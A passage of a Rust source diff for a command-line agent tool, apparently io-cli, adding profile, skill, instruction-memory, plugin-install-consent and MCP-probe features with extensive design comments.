operator commits to it. + format!( + "removes this line only; the {carried} \ + line{} under it stay, and stay in every \ + prompt", + if carried == 1 { "" } else { "s" }, + ) + }, + ), + ], + ), + Pick::InstructionVerb(note.clone()), + )); + } + } + Pick::InstructionVerb(note) => { + let root = session.root().to_path_buf(); + if index == 1 { + let replacement = app.composer.text(); + match io_cli::memory::amend(&root, note, &replacement) { + Ok(path) => { + app.composer.clear(); + app.record( + Tone::Success, + format!( + "line {} of {} is replaced; it is in force from \ + the next turn", + note.numbered(), + path.display(), + ), + ); + } + Err(refusal) => app.record(Tone::Refused, refusal), + } + } + if index == 2 { + match io_cli::memory::forget(&root, note) { + Ok(path) => app.record( + Tone::Success, + format!( + "line {} of {} is gone; every other byte of the file \ + is unchanged", + note.numbered(), + path.display(), + ), + ), + Err(refusal) => app.record(Tone::Refused, refusal), + } + } + } + // Index 0 is `store::LEAVE_IT` and does nothing, asserted on + // the index rather than the label everywhere this shape is + // used in the product. + Pick::Unforget { key, restore } => { + if io_cli::store::acts(index) { + let root = session.root().to_path_buf(); + match io_cli::recall::unforget(&store, &root, *restore) { + Ok(keys) => { + let (tone, said) = + io_cli::commands::unforgotten_said(key, &keys); + app.record(tone, said); + } + Err(error) => app.record( + Tone::Error, + format!("{key} was not put back: {error}"), + ), + } + } else { + // Said rather than left silent: the operator has + // just been told a way back exists, and a + // confirmation that answers nothing when declined + // reads as one that did not register the keystroke. + app.record(Tone::Muted, format!("{key} stays withdrawn")); + } + } Pick::Remembered { scope, key, verbs } => { if let Some(verb) = verbs.get(index) { let root = session.root().to_path_buf(); @@ -3333,6 +3751,51 @@ async fn loop_over Result>( &app.theme.glyphs, ); app.record(tone, said); + // **The restore id is spent here or + // it is spent nowhere.** + // `forgotten_said` names the run + // holding the way back, and through + // 0.29.0 that sentence was the end + // of it: the operator was told a way + // back existed and handed nothing to + // take it with, while + // `recall::unforget` sat public, + // tested and called by no keystroke. + // + // Offered rather than taken — they + // asked to forget it — and + // `store::acts` decides it the way + // it decides every confirmation in + // this product: row 0 declines. + if let io_cli::recall::Forgotten::Removed { + restore, + } = outcome + { + descended = Some(( + Picker::new( + format!("{key} is withdrawn"), + vec![ + Row::with_detail( + io_cli::store::LEAVE_IT + .to_string(), + "the withdrawal stands" + .to_string(), + ), + Row::with_detail( + "put it back".to_string(), + format!( + "restores it from run \ + {restore}'s restore point" + ), + ), + ], + ), + Pick::Unforget { + key: key.clone(), + restore, + }, + )); + } } Err(error) => app.record( Tone::Error, @@ -3905,7 +4368,185 @@ async fn loop_over Result>( app.record(tone_of(&outcome), outcome.said); } }, + // **The two verbs that act without planning an `Edit`, and + // therefore need an arm here of their own.** `manage::plan` + // answers `None` for both — a skill is a file in io-cli's + // own home and a probe writes nothing — so without these + // they fall to `Ok((_, None))` below and do *nothing at + // all*: no act, no output, no refusal, on a line the README + // documents as working. The acts live in `manage_main`, + // which a session never calls. + Ok((io_cli::manage::Request::Skill(verb), None)) => { + match io_cli::home::path() { + None => app.record( + Tone::Refused, + "there is no home on this machine to keep skills in" + .to_string(), + ), + Some(home) => { + let view = skills_view(&config, &capabilities, session.root()); + let bundles = bundle_skills(&config); + let done = match &verb { + io_cli::manage::SkillVerb::Add { source } => { + io_cli::skillview::install(&home, source) + .map(|at| format!("{} is installed", at.display())) + } + io_cli::manage::SkillVerb::List => { + for skill in &view.skills { + app.record( + Tone::Muted, + format!( + "{} — {} · {} · {}", + skill.name, + skill.origin.word(), + if skill.enabled { + "enabled" + } else { + "disabled" + }, + skill.path.display(), + ), + ); + } + Ok(String::new()) + } + io_cli::manage::SkillVerb::Remove { name } => { + // By the resolved name, which is what + // the listing shows — a file called + // `mine.md` declaring `name: io-mcp` is + // `io-mcp` everywhere it is addressed. + match view.skills.iter().find(|s| s.name == *name) { + None => Err(format!( + "no skill answers to `{name}`; `/skills` \ + names the ones that do" + )), + Some(skill) => { + io_cli::skillview::remove(&skill.path, &bundles) + .map(|gone| { + format!("{} is deleted", gone.display()) + }) + } + } + } + }; + match done { + Err(refusal) => app.record(Tone::Refused, refusal), + Ok(said) => { + if !said.is_empty() { + // The palette walks its list once + // at startup; these two verbs are + // the only other things that change + // the directory under it. + skills = io_cli::commands::skills( + &home, + io_cli::contract::skills_dir( + &config, + &capabilities, + session.root().to_path_buf(), + ) + .as_deref(), + &bundle_skills(&config), + ) + .0; + app.record(Tone::Success, said); + } + } + } + } + } + } + Ok(( + io_cli::manage::Request::Mcp(io_cli::manage::McpVerb::Probe { id }), + None, + )) => { + // **The session's merged policy, not the file's alone**, + // for the reason the preflight beside it gives: the + // posture the operator chose replaces the tier defaults + // and this session's remembered allowances are a layer + // over both, so a probe built on `Config::policy()` by + // itself would report a refusal for a server this very + // session has already been told to permit. + let policy = io_cli::approval::session_policy( + &config.policy().unwrap_or_default(), + app.posture(), + app.remembered(), + ); + match io_cli::servers::probe(&config, &id, &policy).await { + Err(refusal) => app.record(Tone::Refused, refusal), + Ok(probe) => { + let said = io_cli::servers::probed(&id, &probe); + app.record( + if io_cli::exec::probe_code(&probe) == io_cli::exec::OK { + Tone::Success + } else { + Tone::Warning + }, + said, + ); + } + } + } Ok((_, None)) => {} + // **A plan carrying a disclosure has not been written, and + // this arm exists so that it cannot be.** `manage::plan` + // fills `disclosure` for exactly one request — `plugin add + // ` resolved out of a marketplace — by running + // `io_harness::Plugins::inspect` over the clone, so + // io-harness has already read, parsed, validated and + // trust-checked the bundle with no declaration existing + // anywhere on disk. A bundle it refuses never reaches this + // arm at all: `plan` returns `Err` and builds no `Plan`, + // which makes "nothing is written for a bundle that would be + // refused" a property of the library rather than of this + // driver remembering to check. + // + // Guarded rather than nested inside the arm below, so the + // write path keeps exactly the shape it had. + Ok((_, Some(plan))) if plan.disclosure.is_some() => { + let disclosure = plan + .disclosure + .as_ref() + .expect("the guard on this arm just tested it"); + app.record( + Tone::Muted, + format!( + "{} is not installed. This is what io-harness parsed out of \ + it, and nothing has been written to your configuration:", + disclosure.id, + ), + ); + // `record` and never `say`: the footer is one slot the + // next keystroke takes back, and this is the thing the + // operator is answering about. + for line in disclosure.said(&app.theme.glyphs) { + app.record(Tone::Muted, line); + } + picker = Some(( + Picker::new( + format!("Install {}?", disclosure.id), + vec![ + Row::new(io_cli::store::LEAVE_IT.to_string()), + Row::with_detail( + "install it".to_string(), + format!( + "appends one `[[plugin]]` entry to the {} file \ + and changes no other byte of it", + io_cli::configure::Decided::File { + scope: plan.scope, + path: Default::default(), + } + .word() + ), + ), + ], + ), + Pick::PluginInstall { + id: disclosure.id.clone(), + scope: plan.scope, + edits: plan.edits.clone(), + }, + )); + } Ok((request, Some(plan))) => { match io_cli::configure::write(&root, plan.scope, &plan.edits) { Err(refusal) => app.record(Tone::Refused, refusal), @@ -3919,127 +4560,49 @@ async fn loop_over Result>( } Err(error) => app.record(Tone::Error, error), } - // **The entry that was just appended, read - // back out of the file rather than re-decided - // here.** `pluginview::declared_off` answers - // `Some` only for a last `[[plugin]]` carrying - // `enabled = false`, which is what - // `manage::plan` writes for a bundle resolved - // out of a marketplace and never for a - // directory the operator typed. So the driver - // asks no second time which reading the word - // had: `marketplace::chosen` decided that once, - // in the library, and this is its result. - let disclosing = matches!( - &request, - io_cli::manage::Request::Plugin( - io_cli::manage::PluginVerb::Add { .. } - ) - ) - .then(|| io_cli::configure::scope_path(&root, plan.scope)) - .flatten() - .and_then(|path| std::fs::read_to_string(path).ok()) - .and_then(|text| io_cli::pluginview::declared_off(&text)); - - match &disclosing { - // **Not "in force from the next turn".** A - // bundle written switched off is in force - // from no turn at all, and this is the - // sentence an operator would read as - // "installed". - Some(_) => app.record( - Tone::Warning, - io_cli::pluginview::OLDER_BINARY, - ), - None => app.record( - Tone::Success, - format!( - "written to the {} file, in force from the next \ - turn", - io_cli::configure::Decided::File { - scope: plan.scope, - path: Default::default(), - } - .word() - ), - ), - } - if let Some((at, declared)) = disclosing { - // A `[[plugin]] path` is relative to the - // discovery root, which is - // `pluginview::declared_at`'s own rule. - let dir = if declared.is_absolute() { - declared - } else { - root.join(declared) - }; - let hooks = io_cli::marketplace::hooks(&dir); - match io_cli::marketplace::disclosure( - &io_cli::pluginview::view(&config), - &dir, - &hooks, - screen.width(), - &app.theme.glyphs, - ) { - // **Refused at re-discovery, before - // consent, in io-harness's own - // sentence.** Nothing is offered to - // switch on, because nothing would - // load — and the entry is left - // declared and off, where `/plugin` - // lists it under its own mark. - Err(refusal) => { - app.record(Tone::Refused, refusal); - } - Ok(disclosure) => { - app.record( - Tone::Muted, - format!( - "{} is declared and switched off; \ - io-harness read, parsed and trust-checked \ - it, and it contributes nothing until it \ - is switched on", - disclosure.id, - ), - ); - // `record` and never `say`: the - // footer is one slot the next - // keystroke takes back, and this - // is what the operator is - // answering about. - for line in &disclosure.said { - app.record(Tone::Muted, line.clone()); - } - picker = Some(( - Picker::new( - format!("Switch on {}?", disclosure.id), - vec![ - Row::new( - io_cli::store::LEAVE_IT.to_string(), - ), - Row::with_detail( - "switch it on".to_string(), - format!( - "sets `plugin[{at}].enabled = \ - true` in the {} file and \ - changes no other byte of it", - io_cli::configure::Decided::File { - scope: plan.scope, - path: Default::default(), - } - .word() - ), - ), - ], - ), - Pick::PluginEnable { - id: disclosure.id, - scope: plan.scope, - index: at, - }, - )); + // **Every plan that reaches this arm is one the + // operator has already consented to**, either + // by typing the command that produced it or by + // choosing "install it" on the arm above, which + // is where a marketplace bundle's write happens + // now. There is no longer a second reading to + // recover here: 0.29.0 read the file back with + // `pluginview::declared_off` to find out whether + // the entry it had just appended was one it had + // written switched off, and that whole round trip + // existed only because io-harness published no + // way to validate a bundle without declaring it. + app.record( + Tone::Success, + format!( + "written to the {} file, in force from the next turn", + io_cli::configure::Decided::File { + scope: plan.scope, + path: Default::default(), } - } + .word() + ), + ); + // **The third door for the same act, and it owes + // the same sentence.** `/mcp enable|disable + // ` typed in a session builds the identical + // `servers::switch` edit the picker's toggle + // and `io mcp disable` build, and both of those + // say what the key costs an io-harness 0.69.0 + // binary — which for `[[mcp]]` is the silent + // failure: that binary ignores the key and + // starts the server anyway. Two of three doors + // saying it is worse than none, because the + // silence reads as "there is nothing to say". + if let io_cli::manage::Request::Mcp( + io_cli::manage::McpVerb::Enable { .. } + | io_cli::manage::McpVerb::Disable { .. }, + ) = &request + { + app.record( + Tone::Muted, + io_cli::servers::OLDER_BINARY.to_string(), + ); } // **The preflight after the write, never // instead of it.** A server the policy will @@ -4474,15 +5037,19 @@ async fn loop_over Result>( Pick::Provider { add_at }, )); } - Action::Profile => { + Action::Profile(io_cli::commands::ProfileVerb::List) => { let names = io_cli::configure::profiles(&config); if names.is_empty() { - // The "not configured" shape again: an absent section is - // not an error, and `[profile.]` is io-harness's - // own spelling rather than something to explain here. + // **An empty list is now an offer rather than a full + // stop.** An absent section is not an error, and + // `[profile.]` is io-harness's own spelling — but + // until 0.30.0 this sentence was the whole of the surface + // for the operator who had never written one, which is + // exactly the operator a create verb is for. app.record( Tone::Muted, - "this configuration declares no `[profile.]` sections", + "this configuration declares no `[profile.]` sections; \ + `/profile create ` writes one", ); } else { let rows: Vec = @@ -4490,6 +5057,224 @@ async fn loop_over Result>( picker = Some((Picker::new("Which profile?", rows), Pick::Profile(names))); } } + Action::Profile(io_cli::commands::ProfileVerb::Create(name)) + // **A name another scope already declares is not a fresh + // profile.** `Edit::section` refuses a duplicate within the + // file it is writing and cannot see any other — so creating + // `fast` in the user scope over a `[profile.fast]` in the + // project file succeeds, and the sentence below would call the + // result empty when it inherits every key the project + // declaration carries. + if io_cli::configure::profiles(&config) + .iter() + .any(|declared| declared == name.trim()) => + { + app.record( + Tone::Refused, + format!( + "`{}` is already declared by a file in force; `/profile` switches to \ + it, and `/config --scope user` adds keys to it", + name.trim(), + ), + ); + } + Action::Profile(io_cli::commands::ProfileVerb::Create(name)) => { + match io_cli::configure::create_profile(&name) { + Err(refusal) => app.record(Tone::Refused, refusal), + Ok(edit) => { + // **User scope, and stated.** A profile has no key + // already deciding it — that is what makes it new — so + // the scope rule's "user scope when no file names it" + // arm is the one that applies. It is also the only + // honest default: a project `io.toml` is committed, and + // writing somebody's personal profile into a shared file + // is a decision they did not make. + let scope = io_harness::config::Scope::User; + match io_cli::configure::write(session.root(), scope, &[edit]) { + Err(refusal) => app.record(Tone::Refused, refusal), + Ok(()) => { + match io_cli::configure::reload(session.root()) { + Ok((fresh, stored)) => { + capabilities = io_cli::contract::Capabilities::stored( + stored.as_ref(), + ); + config = fresh; + } + Err(error) => app.record(Tone::Error, error), + } + app.record( + Tone::Success, + format!( + "`[profile.{}]` is written to the {} file; it is empty \ + until `/config --scope user` puts keys in it, and \ + `/profile` switches to it", + name.trim(), + io_cli::configure::Decided::File { + scope, + path: Default::default(), + } + .word() + ), + ); + } + } + } + } + } + Action::Profile(io_cli::commands::ProfileVerb::Remove(name)) => { + let name = name.trim().to_string(); + if name.is_empty() { + app.record( + Tone::Refused, + "`/profile remove` needs the name of a profile".to_string(), + ); + } else { + // **Removed from the file that declares it**, found by + // reading each source rather than assumed to be the user + // scope — a profile may perfectly well live in a project + // file, and removing it from somewhere else would report a + // successful write that removed nothing. Highest + // precedence first, which is the order `Config` layers. + let found = config.sources().iter().rev().find_map(|(scope, path)| { + let text = std::fs::read_to_string(path).ok()?; + io_cli::configure::remove_profile(&text, &name) + .ok() + .map(|edits| (*scope, edits)) + }); + match found { + None => app.record( + Tone::Refused, + format!( + "no configuration file in force declares `[profile.{name}]`; \ + the ones that are declared are {}", + match io_cli::configure::profiles(&config).as_slice() { + [] => "none at all".to_string(), + names => names + .iter() + .map(|found| format!("`{found}`")) + .collect::>() + .join(", "), + } + ), + ), + Some((scope, edits)) => { + let headers = edits.len(); + match io_cli::configure::write(session.root(), scope, &edits) { + Err(refusal) => app.record(Tone::Refused, refusal), + Ok(()) => { + match io_cli::configure::reload(session.root()) { + Ok((fresh, stored)) => { + capabilities = + io_cli::contract::Capabilities::stored( + stored.as_ref(), + ); + config = fresh; + } + Err(error) => app.record(Tone::Error, error), + } + // The header count, because a profile with + // sub-tables is more than one section and an + // operator who wrote `[profile.x.run]` should + // see that it went too. + app.record( + Tone::Success, + format!( + "`[profile.{name}]` is removed from the {} file \ + ({headers} section{}); every other byte of it is \ + unchanged", + io_cli::configure::Decided::File { + scope, + path: Default::default(), + } + .word(), + if headers == 1 { "" } else { "s" }, + ), + ); + // **One file declared it; another still may, + // and "removed" would then be a lie the + // operator cannot see.** `profiles` was + // widened this release to read every scope + // precisely because io-harness merges an + // overlay across all of them — so a profile + // named in two files survives one removal, + // goes on being listed, and goes on being + // switchable, with the sentence above + // reading as though it were gone. + let survives = io_cli::configure::profiles(&config) + .iter() + .any(|declared| declared == &name); + if survives { + app.record( + Tone::Warning, + format!( + "`{name}` is still declared by another file in \ + force, so it is still listed and still \ + switchable; `/profile remove {name}` again \ + takes the next one" + ), + ); + } else if profile.as_deref() == Some(name.as_str()) { + // The overlay in force was this + // profile's, and nothing declares it any + // more. Leaving the name set would put a + // profile that no longer exists on the + // status line and fail at the next turn + // boundary. Guarded on `survives`, + // because clearing the session for a + // profile that is still perfectly + // applicable is the same error in the + // other direction. + profile = None; + app.record( + Tone::Muted, + "it was the profile in force, so this session is \ + back to no profile" + .to_string(), + ); + } + } + } + } + } + } + } + Action::Profile(io_cli::commands::ProfileVerb::Clear) => { + if profile.is_none() { + app.record(Tone::Muted, "no profile is in force".to_string()); + } else { + // **Nothing is written, because nothing was.** A switch is + // a session overlay; clearing it is re-discovering the + // files without one, which is what the next turn boundary + // would have done anyway had the name not been kept. + match io_cli::configure::reload(session.root()) { + Ok((fresh, stored)) => { + capabilities = + io_cli::contract::Capabilities::stored(stored.as_ref()); + config = fresh; + profile = None; + app.record( + Tone::Success, + "no profile is in force from the next turn; nothing was \ + written" + .to_string(), + ); + } + Err(error) => app.record(Tone::Error, error), + } + } + } + Action::Profile(io_cli::commands::ProfileVerb::Unknown(word)) => { + // Refused by name and never guessed at, which is `/effort`'s + // rule for the same reason: choosing the nearest verb here + // would remove a profile the operator did not name. + app.record( + Tone::Refused, + format!( + "`{word}` is not something `/profile` does; the verbs are `create`, \ + `remove` and `clear`, and `/profile` on its own switches" + ), + ); + } Action::Config(None) => { // **What the routing rules say, and where they will not fire**, // said on the surface that edits them. `/config` is where an @@ -4703,7 +5488,23 @@ async fn loop_over Result>( // fifth `contract::session` call, which `tests/contract.rs` // counts and fails at five. It is the same reason `/compact` // reads `opening.compaction`. - let remembered = io_cli::recall::view(&store, &root, &opening, None); + // **The run whose trace to read, and through 0.29.0 this was + // `None`.** `recall::view` has always taken an `Option` + // and the only caller in this file never named a run, so + // `View::trace` was empty in production and the evictions, pin + // refusals and recalls io-harness records as `ContextEvent` + // rows — the three that emit no `EventKind` at all, and so + // have no other witness anywhere — had never once reached an + // operator. `recall::trace`, `kind_label`, `Happened` and + // `Noted` were all public, all tested, and all unreachable + // behind this one argument. + // + // The session's own last turn, which is the anchor `/undo` and + // `/export` already take: not a guess about which run was + // meant, and `None` before the first turn, which is the honest + // empty rather than somebody else's history. + let ran = last_run(&session, &store).map(|turn| turn.run_id); + let remembered = io_cli::recall::view(&store, &root, &opening, ran); // A store that will not answer loses the second list and // keeps the first. The two halves have nothing to do with // each other — one is markdown on disk — and dropping the @@ -4714,6 +5515,9 @@ async fn loop_over Result>( for note in io_cli::commands::memory_notes(view, &app.theme.glyphs) { app.record(Tone::Muted, note); } + for note in io_cli::commands::trace_notes(view, &app.theme.glyphs) { + app.record(Tone::Muted, note); + } (view.entries.clone(), view.draws_cut) } Err(error) => { @@ -7509,6 +8313,14 @@ enum Pick { McpRemove { id: String, at: io_cli::servers::At, + /// Whether the file currently lets this server start. + /// + /// Carried from the row the operator chose, so the toggle's **label** and + /// the **value it writes** are decided once, from one reading. Working the + /// state out again in the handler would be a second reading of a file that + /// may have changed in between, and the two could disagree — offering + /// "switch it off" and then writing `true`. + enabled: bool, }, /// One link of the provider chain, and where it is declared. `first` decides /// whether promoting it is offered at all: a control that is drawn and does @@ -7673,6 +8485,19 @@ enum Pick { /// position now. So the pair says which skill the operator actually read, and /// a row that is no longer there is answered with a sentence. Skills(Vec<(String, std::path::PathBuf)>), + /// The second question a deletion owes: are you sure. + /// + /// Two steps rather than one, for [`Pick::SkillToggle`]'s own reason turned + /// around — that picker changes a file on the way past because the row it sits + /// on undoes it, and this one cannot be undone by anything in this product. + /// + /// Row 0 is `store::LEAVE_IT` and `store::acts` decides, which is the shape + /// every destructive confirmation here takes and the one the test asserts **by + /// index** rather than by label. + SkillRemove { + name: String, + path: std::path::PathBuf, + }, /// One skill, and the move that decides whether the model is offered it. /// /// **Two steps rather than one, and for the reason [`Pick::ConfigScope`] @@ -7786,7 +8611,7 @@ enum Pick { unset_at: usize, elsewhere_at: usize, }, - /// One bundle's contributions, and the one thing that can be done about it. + /// One bundle's contributions, and the two things that can be done about it. /// /// `bundle` is the resolved directory, which is the only thing a row on screen /// and an entry in a file genuinely share — `Config::plugins()` reports neither @@ -7794,7 +8619,11 @@ enum Pick { /// is what `pluginview::declared_at` matches on to find the entry. /// /// `action_at` is where the removal row sits, recorded by the code that built - /// the rows rather than recomputed here. + /// the rows rather than recomputed here. **Since 0.30.0 the toggle sits + /// immediately after it, at `action_at + 1`**, and it is pushed *after* + /// `action_at` is taken — so the removal's index stays the length of what was + /// already there, which is what makes it impossible to get wrong. The two act; + /// every row before them is a fact to read. /// /// `enabled` is `pluginview::Listed::enabled`, carried so the confirmation /// below words the act the same way the row that opened it did. A bundle @@ -7815,13 +8644,17 @@ enum Pick { /// confirmation past index 0 acts (`store::acts`) and a fact drawn as a row is /// a fact an operator can consent with by arrowing onto it. /// - /// `index` is a position in the file's `[[plugin]]` array — `pluginview::enable` - /// sets exactly `plugin[index].enabled` — and never a row number, which is - /// [`Pick::PluginRemove`]'s own warning. - PluginEnable { + /// `edits` is the whole of what consent performs — `manage::plan` built it and + /// nothing here decides any part of it again. **Nothing has been written when + /// this picker opens**, which is the difference from 0.29.0: that release wrote + /// the entry switched off in order to make io-harness read the bundle at all, + /// so declining left a `[[plugin]]` entry behind. `Plugins::inspect` reads and + /// validates the directory with no declaration on disk, so a decline here + /// leaves the operator's file untouched byte for byte. + PluginInstall { id: String, scope: io_harness::config::Scope, - index: usize, + edits: Vec, }, /// The second half of removing a bundle: which entry, and are you sure. /// @@ -7879,6 +8712,29 @@ enum Pick { key: String, verbs: Vec, }, + /// One instruction file's bullets, in the order they sit in the file. + /// + /// The `Note`s are carried whole rather than re-read on the next keystroke, + /// because a note carries the text it was drawn from and `memory::amend` and + /// `memory::forget` compare that against what is on the line now. Re-reading + /// here would refresh the very staleness they exist to catch. + Instruction(Vec), + /// The two verbs on one note, and the note they act on. + /// + /// A picker has one Enter and a note has two verbs, so the row descends — the + /// same shape `Pick::Remembered` takes for the agent's own memory beside it. + InstructionVerb(io_cli::memory::Note), + /// The way back out of a withdrawal, held between the keystroke that made it + /// and the one that may take it. + /// + /// `restore` is `recall::forget`'s own answer and is never re-derived here: + /// that function's note names the two other run ids that look right and says + /// what each of them would restore instead, which is a different set of + /// entries and a silent one. + Unforget { + key: String, + restore: i64, + }, } /// The picker that asks which file a `key = value` write goes into. @@ -7904,7 +8760,12 @@ enum Pick { /// Every decision is `crate::manage`'s. This function chooses no scope, spells no /// refusal and builds no edit — it prints what the library returned and writes /// what the library planned, so this arm and the slash form cannot disagree. -fn manage_main( +// **Async since 0.30.0, and only because of `probe`.** Every other verb here reads +// or writes a file. A probe starts somebody's server, completes the MCP handshake +// and asks it for its tools, which is `io_harness::probe_mcp` and is async — so the +// door is async rather than blocking on a runtime of its own inside a program that +// already has one. +async fn manage_main( root: &std::path::Path, config: &io_harness::config::Config, tokens: &[String], @@ -8027,11 +8888,107 @@ fn manage_main( ); } } + // **The skill verbs run on the door, because `plan` answers `None` for + // them.** A skill is a markdown file in io-cli's own home and no + // configuration file declares one, so there is no `Edit` for any of this; + // the acts live in `skillview`, which the keystroke calls too, and neither + // door words an outcome for itself. + io_cli::manage::Request::Skill(verb) => { + let Some(home) = io_cli::home::path() else { + return Err( + "there is no home on this machine to keep skills in; set `IO_CONFIG_HOME`" + .to_string(), + ); + }; + let (stored, _) = io_cli::settings::stored(config); + let capabilities = io_cli::contract::Capabilities::stored(stored.as_ref()); + let view = skills_view(config, &capabilities, root); + match verb { + io_cli::manage::SkillVerb::Add { source } => { + let at = io_cli::skillview::install(&home, source)?; + println!("{}", at.display()); + } + io_cli::manage::SkillVerb::List => { + for skill in &view.skills { + println!( + "{}\t{}\t{}\t{}", + skill.name, + skill.origin.word(), + if skill.enabled { "enabled" } else { "disabled" }, + skill.path.display(), + ); + } + } + io_cli::manage::SkillVerb::Remove { name } => { + // **By the resolved name, which is what the listing shows.** + // Matching the file name here would ask for the one spelling + // this surface never prints — a file called `mine.md` declaring + // `name: io-mcp` is `io-mcp` everywhere it is addressed. + let found = view.skills.iter().find(|skill| skill.name == *name); + let Some(skill) = found else { + return Err(format!( + "no skill answers to `{name}`; `io skill list` names the ones that do" + )); + }; + let gone = io_cli::skillview::remove(&skill.path, &bundle_skills(config))?; + println!("{}", gone.display()); + } + } + } + // **The probe runs on the door, because `plan` answers `None` for it.** It + // changes no configuration file — there is no `Edit` for "go and look" — so + // the act lives in `servers::probe`, which both doors call, and the sentence + // is `servers::probed`'s, so neither door words an outcome for itself. + // + // It is the one verb here that starts somebody else's program. io-harness + // checks the policy before it spawns or dials, and shuts the server down on + // every path that started one; io-cli adds no timeout and no retry of its + // own. + io_cli::manage::Request::Mcp(io_cli::manage::McpVerb::Probe { id }) => { + let policy = config.policy().unwrap_or_default(); + let probe = io_cli::servers::probe(config, id, &policy).await?; + println!("{}", io_cli::servers::probed(id, &probe)); + // **Returned here rather than falling through to `OK`.** A probe is + // the one verb on this door whose *answer* is the result, so the + // status has to carry it — otherwise a script can tell an answering + // server from a dead one only by parsing the sentence above. + return Ok(io_cli::exec::probe_code(&probe)); + } _ => {} } let Some(plan) = io_cli::manage::plan(root, &request)? else { return Ok(io_cli::exec::OK); }; + // **The disclosure comes before the write on this door too, and the typed + // command is the consent.** `manage::plan` fills `disclosure` only for a + // `plugin add ` resolved out of a marketplace, and it fills it from + // `io_harness::Plugins::inspect` — so a bundle io-harness refuses returned `Err` + // from `plan` above and nothing reached this line. + // + // What an operator gets here is therefore the same six contribution kinds the + // session shows, on stderr, before anything is written; and then the install + // happens, because they named this bundle in the command they typed. A `--yes` + // was considered and refused for the reason it was refused in 0.29.0: it is a + // second reading of the word "consent" on a surface a script drives. The + // alternative — disclose and write nothing — was rejected because it leaves + // `io plugin add` unable to install anything at all, which is not a door. + // + // ASCII and `u16::MAX`: this goes down a pipe, not onto a terminal whose width + // and font are known. + if let Some(disclosure) = &plan.disclosure { + eprintln!( + "{} — io-harness read, parsed and trust-checked this bundle. It contributes:", + disclosure.id, + ); + for line in disclosure.said(&io_cli::glyphs::ASCII) { + eprintln!("{line}"); + } + eprintln!( + "installing it now: naming a bundle on this door is the consent, and there is \ + nobody here to ask. `/plugin remove {}` takes it back out.", + disclosure.id, + ); + } io_cli::configure::write(root, plan.scope, &plan.edits)?; // **The policy preflight, after the write and on stderr.** After, because the // report is a disclosure and not a veto: refusing to write an entry because @@ -8045,55 +9002,21 @@ fn manage_main( io_cli::preflight::line(&io_cli::preflight::check(server, &policy)) ); } - // **A marketplace install stops at declared-and-off on this door, and says - // so.** The entry is written `enabled = false` by the same `plan` the session - // uses, and the consent that flips it is a confirmation — which this door does - // not have and must not invent: a `--yes` here would be a second reading of the - // word "consent" on a surface a script drives. So the disclosure goes to - // stderr, exactly as the MCP preflight does and for the same reason (the write - // did happen, so the status is zero), and the operator switches it on in - // `/plugin`. An operator who has read the directory themselves has the path - // form, which is the reading that declares a bundle on. - if matches!( - &request, - io_cli::manage::Request::Plugin(io_cli::manage::PluginVerb::Add { .. }) - ) { - if let Some((at, declared)) = io_cli::configure::scope_path(root, plan.scope) - .and_then(|path| std::fs::read_to_string(path).ok()) - .and_then(|text| io_cli::pluginview::declared_off(&text)) - { - eprintln!("{}", io_cli::pluginview::OLDER_BINARY); - let dir = if declared.is_absolute() { - declared - } else { - root.join(declared) - }; - let fresh = io_harness::config::Config::discover(root) - .map_err(|error| format!("the written file did not re-read: {error}"))?; - match io_cli::marketplace::disclosure( - &io_cli::pluginview::view(&fresh), - &dir, - &io_cli::marketplace::hooks(&dir), - // Wide enough that nothing is shortened, and the ASCII set, - // because this goes down a pipe rather than onto a terminal - // whose width and font are known. - u16::MAX, - &io_cli::glyphs::ASCII, - ) { - Err(refusal) => eprintln!("{refusal}"), - Ok(disclosure) => { - eprintln!( - "{} is declared and switched off; io-harness read, parsed and \ - trust-checked it, and it contributes nothing until `plugin[{at}].enabled` \ - is true", - disclosure.id, - ); - for line in &disclosure.said { - eprintln!("{line}"); - } - } - } - } + // **What the key costs an older binary, on stderr, after the write.** Same shape + // as the preflight above and for the same reason: a disclosure, not a veto. + // + // The sentence is `servers::OLDER_BINARY` and **not** + // `pluginview::OLDER_BINARY`, because the two costs are opposite and only one of + // them is silent. A `[[plugin]]` carrying `enabled` makes the whole file + // unreadable to an io-harness 0.69.0 binary, which is loud and self-announcing. A + // `[[mcp]]` one is *ignored* by that binary — so the server the operator just + // switched off starts anyway, and nothing anywhere says so. Reusing one string + // for both would put the reassuring half in front of the dangerous case. + if let io_cli::manage::Request::Mcp( + io_cli::manage::McpVerb::Enable { .. } | io_cli::manage::McpVerb::Disable { .. }, + ) = &request + { + eprintln!("{}", io_cli::servers::OLDER_BINARY); } Ok(io_cli::exec::OK) } @@ -8274,7 +9197,7 @@ fn value_rows( .map(|rung| rung.to_string()) .collect() } - io_cli::configure::Kind::Model => io_cli::configure::priced_models(root), + io_cli::configure::Kind::Model => io_cli::configure::priced_models(config), io_cli::configure::Kind::File => { // The workspace, through the completion the composer's `@` already // opens, so one reader answers "which files may be offered" for both diff --git a/src/manage.rs b/src/manage.rs index d81166f..50b9a94 100644 --- a/src/manage.rs +++ b/src/manage.rs @@ -91,6 +91,33 @@ pub enum Request { Plugin(PluginVerb), /// The settings. Config(ConfigVerb), + /// The skills in this home's own `skills/` directory. + Skill(SkillVerb), +} + +/// What `/skills` and `io skill` can be asked to do. +/// +/// **Three verbs and not five.** Turning a skill off and back on stays a +/// keystroke: it is a rename inside a directory io-cli owns, it is reversible by +/// the row that did it, and there is nothing for an argument form to name that +/// the picker does not name better. Installing and removing are the two that take +/// a value only the operator can author — a path they have and a name they choose +/// — which is exactly the line `product.yaml` draws between a value that is +/// chosen and one that is typed. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum SkillVerb { + /// Copy the file at `source` into this home's skills directory. + Add { source: std::path::PathBuf }, + /// Every skill, whose it is, and whether it is on. + List, + /// Delete one by the name its frontmatter declares. + /// + /// The **resolved** name and not the file name, because that is what an + /// operator reads off `/skills` and what `Skills::discover` keys on. A file + /// called `mine.md` declaring `name: io-mcp` is `io-mcp` everywhere it is + /// addressed, and asking for the filename here would be asking for the one + /// spelling the surface never shows. + Remove { name: String }, } /// What `/mcp` and `io mcp` can be asked to do. @@ -114,6 +141,25 @@ pub enum McpVerb { }, /// Take one entry away, whole. Remove { id: String }, + /// Let io-harness start it again — `enabled = true`. + Enable { id: String }, + /// Stop io-harness starting it — `enabled = false`. + /// + /// **Not [`McpVerb::Remove`], and the pair is deliberate.** A removal takes the + /// `[[mcp]]` entry away and the operator re-types the whole server to get it + /// back; this changes one word and leaves every other key of the entry exactly + /// as it was, so `mcp list` still shows the server and says it is off. Both go + /// through [`crate::servers::switch`], which is also what the `/mcp` keystroke + /// builds — one write, so the two doors cannot produce different bytes. + 